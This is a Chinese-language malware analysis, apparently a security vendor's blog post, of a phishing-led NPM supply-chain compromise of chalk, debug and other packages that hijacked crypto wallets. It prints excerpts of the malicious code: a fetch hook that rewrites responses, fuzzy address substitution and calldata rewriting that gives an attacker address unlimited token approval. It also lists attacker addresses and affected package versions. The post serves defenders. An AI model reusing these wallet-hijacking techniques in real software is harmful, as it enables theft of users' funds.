近期,一个针对 NPM 生态系统的重大供应链攻击浮出水面,27 个广受欢迎的软件包(包括 debug 和 chalk 等常用库)被植入了高级加密货币窃取恶意软件。这次攻击影响了每周下载量超过 20 亿次的软件包,表明网络犯罪分子正在利用值得信赖的软件分发渠道来部署高级 Web3 钱包劫持代码。本文将深入探讨恶意负载的运作方式、其在 NPM 软件包中的传播方式以及与此次供应链攻击相关的**妥协指标 (IOC)**。
NPM 供应链攻击
这次攻击始于一次复杂的网络钓鱼活动,目标是软件包维护者。攻击者发送了来自"support@npmjs.help"的欺骗性电子邮件------该域名在攻击前三天刚刚注册------并成功窃取了维护者的凭据。这使他们能够向 27 个流行的 NPM 软件包注入恶意代码,其中包括:
- debug -- 一个流行的调试工具
- chalk -- 终端字符串样式库
- 以及其他每周下载量达数百万的软件包
被植入恶意负载的软件包专门针对 Web3 应用程序和加密货币交易。这次供应链攻击表明,可信赖的开发依赖项也可能成为分发金融恶意软件的媒介。
Web3 钱包攻击面
像 MetaMask 、Trust Wallet 和其他基于浏览器的加密货币钱包已经成为与去中心化应用程序(DApps)交互的重要工具。当开发人员在不知情的情况下安装了被入侵的 NPM 软件包时,恶意代码就获得了与这些钱包相同的 JavaScript 执行上下文访问权限,从而实现了复杂的交易操作攻击。NPM 交付的代码和 Web3 钱包都基于浏览器,这为这类供应链攻击创造了完美的条件。
恶意软件分析
我们分析的加密货币窃取恶意软件展示了对区块链协议和钱包交互的先进知识。该恶意软件旨在后台静默运行,拦截钱包通信并将在多个区块链网络上的加密货币交易重定向到攻击者控制的地址。
初始混淆技术
原始恶意软件代码严重依赖混淆技术 来逃避检测。变量名被替换为十六进制标识符,如 _0x124ed3、_0xba16ef,函数名也使用类似技术进行混淆。此外,该恶意软件使用复杂的对象结构来存储数百个加密货币地址,这使得静态分析变得困难。
Plain
var _0xba16ef = {
'zprkq': function (_0x23e86b, _0x5b593c) {
return _0x23e86b + _0x5b593c;
},
'OiGzk': "1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx",
'FlhWy': "0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976"
// ...数百个更多混淆属性
};
多阶段攻击链
一旦被入侵的 NPM 软件包在开发或生产环境中被安装和执行,恶意软件就会通过几个协同工作的阶段进行操作,每个阶段都旨在建立持久性并最大化加密货币盗窃的机会。
阶段 1:NPM 软件包执行和环境检测
恶意软件首先作为合法的 NPM 软件包安装或运行时过程的一部分执行。然后,它会执行环境检测,以识别是否存在 Web3 钱包,并开始初始化其负载。
阶段 2:Web3 钱包检测和初始化
恶意软件首先检测浏览器环境中是否存在 Web3 钱包。它会特别寻找 window.ethereum 对象,这表明存在 MetaMask 或其他与以太坊兼容的钱包。
Plain
async function checkethereumw() {
try {
const accounts = await window.ethereum.request({
'method': "eth_accounts"
});
if (accounts.length > 0) {
runmask(); // 初始化钱包劫持
}
} catch (error) {
// 回退初始化
}
}
阶段 3:网络流量拦截
初始化后,恶意软件会挂接到 fetch API 和 XMLHttpRequest,以拦截所有网络通信。这使其能够在包含加密货币地址的 API 响应到达受害者应用程序之前对其进行修改。
Plain
// 挂接 fetch API
fetch = async function (...args) {
const response = await fetch(...args);
const modifiedData = replaceAddressesInContent(data);
return new Response(modifiedData, {
'status': response.status,
'headers': response.headers
});
};
阶段 4:使用模糊匹配进行高级地址替换
也许这个恶意软件最复杂的一点是它使用莱文斯坦距离 算法进行模糊字符串匹配。它不是进行简单的字符串替换,而是找到任何它遇到的合法地址与"最接近"的攻击者地址,这使得替换对受害者来说更不明显。
Plain
function calculateEditDistance(str1, str2) {
// 莱文斯坦距离实现
const matrix = Array.from({
'length': str1.length + 1
}, () => Array(str2.length + 1).fill(0));
// ...距离计算逻辑
}
阶段 5:交易劫持和操纵
最后一个也是最关键的阶段涉及拦截钱包交易方法并对其进行修改以使攻击者获利。恶意软件针对几个关键的以太坊函数:
ERC-20 代币授权操纵:
- 拦截
approve()调用 (0x095ea7b3),并授予攻击者地址无限授权。 - 将接收者地址替换为攻击者的地址。
- 将授权金额设置为最大值(十六进制中的所有"f")。
交易重定向:
- 拦截
transfer()调用 (0xa9059cbb) 并重定向资金。 - 修改
transferFrom()调用 (0x23b872dd) 以窃取代币。 - 操纵 permit 函数 (0xd505accf) 以进行无 gas 授权。
Plain
if (data.startsWith("0x095ea7b3")) {
const functionSig = data.substring(0, 10);
const attackerAddress = "Fc4a4858bafef54D1b1d7697bfb5c52F4c166976";
const unlimitedAmount = 'f'.repeat(64);
modified.data = functionSig + attackerAddress + unlimitedAmount;
}
跨链支持
该恶意软件展示了令人印象深刻的技术知识,支持多种加密货币网络:
- 以太坊 : ERC-20 代币和 ETH 转账
- 比特币 : Legacy 和 SegWit 地址格式
- Solana : SPL 代币交易
- TRON : TRX 和 TRC-20 代币
- 莱特币: 多种地址格式
- 比特币现金 : CashAddr 格式
每个区块链都有特定的地址模式和交易结构,这要求恶意软件为每个网络实现不同的处理逻辑。
隐蔽和持久性机制
恶意软件采用多种技术来保持不被发现:
- 方法挂接: 保留原始函数引用并在需要时恢复它们。
- 逐步部署: 使用带有延迟的重试机制以避免检测。
- 错误处理: 优雅的回退确保恶意软件不会使宿主应用程序崩溃。
- 调试界面: 隐藏的控制界面,用于监控拦截是否成功。
Plain
window.stealthProxyControl = {
'isActive': () => isActive,
'getInterceptCount': () => interceptionCount,
'forceShield': () => hookWalletProvider(window.ethereum)
};
关键妥协指标(IOCs)
主要攻击者地址:
以太坊:
- 0xFc4a4858bafef54D1b1d7697bfb5c52F4c166976 (主要)
- 0xa29eeFb3f21Dc8FA8bce065Db4f4354AA683c024
- 0x40C351B989113646bc4e9Dfe66AE66D24fE6Da7B
比特币 Legacy:
- 1H13VnQJKtT4HjD5ZFKaaiZEetMbG7nDHx
- 1Li1CRPwjovnGHGPTtcKzy75j37K6n97Rd
比特币 SegWit:
- bc1qms4f8ys8c4z47h0q29nnmyekc9r74u5ypqw6wm
- bc1qznntn2q7df8ltvx842upkd9uj4atwxpk0whxh9
Solana:
- 5VVyuV5K6c2gMq1zVeQUFAmo8shPZH28MJCVzccrsZG6
- 98EWM95ct8tBYWroCxXYN9vCgN7NTcR6nUsvCx1mEdLZ
影响和实际意义
这次 NPM 供应链攻击对加密货币生态系统构成了前所未有的风险:
- 大规模: 每周下载量超过 20 亿次,潜在受害者数量巨大。
- 供应链信任: 妥协可信赖的开发依赖项打破了基本的安全假设。
- 经济损失: 跨多个区块链网络的加密货币和代币被直接盗窃。
- DeFi 交互受损: 无限的代币授权导致未来的资金被耗尽。
- 跨链影响: 同时在多个区块链网络上进行攻击。
- 针对开发人员 : 专门针对通常是 Web3 技术早期采用者的开发社区。
- 隐蔽操作: 难以检测,导致在开发和生产环境中长期受损。
供应链分发和模糊地址匹配的结合使得这次攻击特别危险,因为其交付机制和负载都看似合法,这大大降低了被检测到的可能性。
结论
所分析的复杂加密货币窃取恶意软件表明 Web3 用户面临的威胁格局正在演变。通过结合先进的混淆技术、跨链支持和智能地址替换算法,该恶意软件代表了加密货币盗窃能力的一个重大进步。
这一事件强调了 Web3 安全意识和在与加密货币应用程序交互时采取强大安全措施的至关重要性。随着去中心化金融的持续增长,我们可以预见到针对钱包基础设施和用户交互的攻击会越来越复杂。
缓解建议
为了防止类似的供应链攻击和加密货币盗窃,开发人员和组织应实施以下措施:
供应链安全:
- 依赖项审计 : 定期审计 NPM 依赖项。
- 包锁定文件 : 使用
package-lock.json来确保依赖项版本一致。 - 可信来源: 验证包发布者,并避免使用所有权变更可疑的软件包。
- 依赖项监控: 实施监控,以检测意外的软件包更新或修改。
- 私有注册表 : 考虑为关键应用程序使用私有 NPM 注册表。
检测和响应:
- 网络监控: 监控可疑的网络活动和 API 修改。
- 行为分析: 实施检测,以识别异常的钱包交互模式。
- 安全扫描 : 使用像 Mend.io 这样的工具来检测恶意软件包安装。
随着供应链攻击变得越来越复杂,以及加密货币的采用持续扩展,主动的安全措施变得至关重要。NPM 生态系统的巨大规模和 Web3 的经济激励使得这一攻击媒介对网络犯罪分子特别有吸引力,需要整个开发社区提高警惕。
受影响的软件包
| 软件包 | 版本 | MSC |
|---|---|---|
| backslash | 0.2.1 | MSC-2025-7955 |
| chalk-template | 1.1.1 | MSC-2025-7876 |
| supports-hyperlinks | 4.1.1 | MSC-2025-7872 |
| has-ansi | 6.0.1 | MSC-2025-7873 |
| simple-swizzle | 0.2.3 | MSC-2025-7886 |
| color-string | 2.1.1 | MSC-2025-7875 |
| error-ex | 1.3.3 | MSC-2025-7881 |
| color-name | 2.0.1 | MSC-2025-7882 |
| is-arrayish | 0.3.3 | MSC-2025-7953 |
| slice-ansi | 7.1.1 | MSC-2025-7874 |
| color-convert | 3.1.1 | MSC-2025-7954 |
| wrap-ansi | 9.0.1 | MSC-2025-7877 |
| ansi-regex | 6.2.1 | MSC-2025-7880 |
| supports-color | 10.2.1 | MSC-2025-7879 |
| strip-ansi | 7.1.1 | MSC-2025-7878 |
| chalk | 5.6.1 | MSC-2025-7884 |
| debug | 4.4.2 | MSC-2025-7887 |
| ansi-styles | 6.2.2 | MSC-2025-7871 |
| proto-tinker-wc | 0.1.87 | MSC-2025-7883 |
| Prebid-universal-creative | 1.17.3 | MSC-2025-7890 |
| duckdb | 1.3.3 | MSC-2025-7949 |
| @duckdb/node-api | 1.3.3 | MSC-2025-7888 |
| @duckdb/node-bindings | 1.3.3 | MSC-2025-7889 |
| @duckdb/duckdb-wasm | 1.29.2 | MSC-2025-7930 |
| prebid.js | 10.9.2 | MSC-2025-7950 |
| Prebid | 10.9.1,10.9.2 | MSC-2025-7951 MSC-2025-7952 |
| @coveops/abi | 2.0.1 | MSC-2025-7948 |